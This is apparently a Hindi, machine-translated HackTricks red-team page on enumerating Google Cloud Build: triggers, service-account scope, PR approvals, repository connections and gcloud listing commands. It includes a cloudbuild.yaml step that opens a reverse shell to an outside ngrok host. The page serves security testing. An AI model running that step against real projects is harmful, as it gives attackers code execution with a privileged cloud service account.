GCP - Cloud Build Enum

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो सॉफ़्टवेयर निर्माण और रिलीज प्रक्रियाओं को स्वचालित करता है, स्रोत कोड भंडारों के साथ एकीकरण करता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह डेवलपरों को कोड को स्वचालित रूप से निर्माण, परीक्षण और डिप्लॉय करने की अनुमति देता है जबकि निर्माण चरणों और कार्यप्रवाहों को अनुकूलित करने की लचीलाता प्रदान करता है।

प्रत्येक Cloud Build Trigger एक Cloud Repository से संबंधित है या सीधे एक बाह्य रिपॉजिटरी (Github, Bitbucket और Gitlab) से कनेक्ट किया गया है।

मैंने यहाँ से या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देखा क्योंकि जब रेपो डाउनलोड किया जाता है तो इसे https://source.cloud.google.com/ URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।

घटनाएँ

Cloud Build को निम्नलिखित की गई स्थितियों में ट्रिगर किया जा सकता है:

  • एक शाखा में पुश: शाखा निर्दिष्ट करें

  • नया टैग पुश: टैग निर्दिष्ट करें

  • पुल अनुरोध: पीआर प्राप्त करने वाली शाखा निर्दिष्ट करें

  • मैन्युअल आवाहन

  • Pub/Sub संदेश: विषय निर्दिष्ट करें

  • वेबहुक घटना: एक HTTPS URL उजागर करेगा और अनुरोध को एक गुप्त से प्रमाणित करना होगा

क्रियान्वयन

3 विकल्प हैं:

  • एक yaml/json निर्देशित करने वाले कमांड को निष्पादित करना। सामान्यत: /cloudbuild.yaml

  • केवल एक जो वेब कांसोल और cli में "इनलाइन" निर्दिष्ट किया जा सकता है

  • सबसे सामान्य विकल्प

  • अनधिकृत एक्सेस के लिए महत्वपूर्ण

  • एक Dockerfile को निर्माण करने के लिए

  • एक Buildpack को निर्माण करने के लिए

SA अनुमतियाँ

सेवा खाता में cloud-platform scope है, इसलिए यह सभी विशेषाधिकारों का उपयोग कर सकता है। यदि कोई SA निर्दिष्ट नहीं किया गया है (जैसे कि सबमिट करते समय) तो डिफ़ॉल्ट SA <proj-number>@cloudbuild.gserviceaccount.com का उपयोग होगा।**

डिफ़ॉल्ट रूप से कोई अनुमतियाँ नहीं दी गई हैं लेकिन इसे कुछ देना बहुत आसान है:

मंजूरी

एक Cloud Build को निर्माण क्रियाओं के लिए मंजूरी की आवश्यकता को कॉन्फ़िगर किया जा सकता है (डिफ़ॉल्ट रूप से अक्षम है)।

पीआर मंजूरियाँ

जब ट्रिगर पीआर होता है क्योंकि किसी भी व्यक्ति को सार्वजनिक रिपॉजिटरी में पीआर करने की अनुमति है, तो किसी भी पीआर के साथ ट्रिगर का केवल स्वामी और सहयोगी द्वारा स्वचालित होना बहुत खतरनाक हो सकता है। इसलिए, डिफ़ॉल्ट रूप से, केवल मालिकों और सहयोगियों के लिए क्रियान्वित होगा, और अन्य उपयोगकर्ताओं की पीआर के साथ ट्रिगर को निष्पादित करने के लिए एक मालिक या सहयोगी को /gcbrun टिप्पणी करनी होगी।

कनेक्शन और रिपॉजिटरी

कनेक्शन निम्नलिखित के माध्यम से बनाए जा सकते हैं:

  • GitHub: यह एक OAuth प्रॉम्प्ट दिखाएगा जिसमें अनुमतियाँ मांगी जाएंगी ताकि एक Github टोकन प्राप्त किया जा सके जो सीक्रेट मैनेजर में स्टोर किया जाएगा।

  • GitHub Enterprise: यह एक GithubApp स्थापित करने के लिए कहेगा। आपके GitHub Enterprise होस्ट से एक प्रमाणीकरण टोकन बनाया जाएगा और इस परियोजना में एक सीक्रेट मैनेजर सीक्रेट के रूप में स्टोर किया जाएगा।

  • GitLab / Enterprise: आपको API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन प्रदान करना होगा जो सीक्रेट मैनेजर में स्टोर किया जाएगा।

एक कनेक्शन उत्पन्न होने के बाद, आप इसे उपयोग कर सकते हैं जिसमें Github खाते का एक्सेस हैं

यह विकल्प बटन के माध्यम से उपलब्ध है:

ध्यान दें कि इस तरीके से कनेक्ट किए गए रिपॉजिटरी केवल 2वीं पीढ़ी का उपयोग करने वाले ट्रिगर में ही उपलब्ध हैं।

रिपॉजिटरी कनेक्ट करें

यह कनेक्शन के समान नहीं है। यह एक गिटहब या बिटबकेट रिपॉजिटरी तक पहुंचने के विभिन्न तरीके हैं लेकिन **कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, लेकिन यह पहली पीढ़ी का रिपॉजिटरी ऑब्ज

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

एक स्टोरेज बकेट नामक security-devbox_cloudbuild बनाया गया है ताकि इसमें उपयोग के लिए फ़ाइलों के साथ .tgz स्टोर किया जा सके।

शैल को प्राप्त करें

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

ग्क्लाउड को स्थापित करें क्लाउड बिल्ड के अंदर:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

जांच

आप बिल्ड कॉन्फ़िग और लॉग में संवेदनशील जानकारी पा सकते हैं।

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

विशेषाधिकार उन्नयन

pageGCP - Cloudbuild Privesc

अप्रमाणित पहुंच

pageGCP - Cloud Build Unauthenticated Enum

पोस्ट एक्सप्लोइटेशन

pageGCP - Cloud Build Post Exploitation
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated